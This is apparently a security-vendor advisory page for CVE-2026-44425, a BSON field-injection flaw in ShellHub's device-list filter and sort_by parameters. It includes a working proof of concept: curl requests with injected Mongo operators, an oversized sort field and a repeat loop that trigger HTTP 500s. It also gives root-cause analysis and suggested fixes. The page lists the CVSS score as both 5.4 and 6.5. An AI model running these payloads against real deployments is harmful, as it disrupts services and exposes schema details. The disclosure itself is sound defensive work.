CVE-2026-44425 — shellhub
MEDIUMCVE-2026-44425 is a medium-severity (CVSS 5.4) Improper Input Validation vulnerability in github.com/shellhub-io/shellhub. A fix is available for github.com/shellhub-io/shellhub — see the affected versions and patch details below.
ShellHub: Crash-DoS via field injection in filter and sort-by parameters
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44425.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-44425 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/shellhub-io/shellhubReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:
- The
namefield of each filter property in the base64-encodedfilterquery parameter. - The
sort_byquery parameter.
Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.
Severity
CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).
Root cause
Vector 1 — Filter field name
api/store/mongo/query-options.go:140:
conditions = append(conditions, bson.M{param.Name: property})
param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.
Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.
Additional observation
fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.
func fromContains(value interface{}) (bson.M, error) {
switch value.(type) {
case string:
return bson.M{"$regex": value, "$options": "i"}, nil
Proof of concept (validated live against v0.24.1)
TOKEN=<valid-user-jwt>
# Helper: base64-encode a filter payload
encode_filter() {
python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1"
}
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200
F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 1a: Mongo operator as field name
F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1b: nested object as value
F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 1c: pipeline-computed field as filter name
F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]')
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \
-H "Authorization: Bearer $TOKEN"
# HTTP=200
# Exploit 2a: Mongo operator as sort field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2b: path containing $
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2c: oversized sort field (no length validation)
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# Exploit 2d: non-indexable internal field
curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \
-H "Authorization: Bearer $TOKEN"
# HTTP=500
# --- Repeat to demonstrate no rate limiting ---
for i in $(seq 1 20); do
curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \
-H "Authorization: Bearer $TOKEN"
done
# 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500
Confirmed field values that trigger 500:
- Filter name:
$where,$regex,$or,$ne,remote_addr,tenant_id,namespace, any path containing$after a. - Sort-by:
$where,_id.$$$,tenant_id,password.hash, overly long strings
Observed response characteristics:
HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id> ← logged as error in backend
Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.
Impact
- Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
- Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
- Resource exhaustion (potential): user-controlled
$regexvalue on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.
Suggested fix
-
Allowlist filter and sort field names per collection. Add a whitelist of allowed
param.Nameandsort_byvalues for each model exposed via filters (device,session, etc.). Reject anything else with HTTP 400. -
Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:
- start with
$ - contain
$after a. - contain characters outside
[A-Za-z0-9_.] - exceed a reasonable length (e.g., 64 characters)
- start with
-
Validate
valueshape. Forcontains/eq/neoperators, reject non-primitive values (objects, arrays of objects). -
Catch aggregation errors. In
api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500. -
Limit regex complexity. In
fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+,(...)*,(.+)+, etc.) to mitigate ReDoS.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/shellhub-io/shellhub | all versions | 0.24.2go get github.com/shellhub-io/shellhub@v0.24.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/shellhub-io/shellhub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/shellhub-io/shellhub to 0.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44425 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-44425 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-44425. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-44425 in your dependencies?
O3 Security finds CVE-2026-44425 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.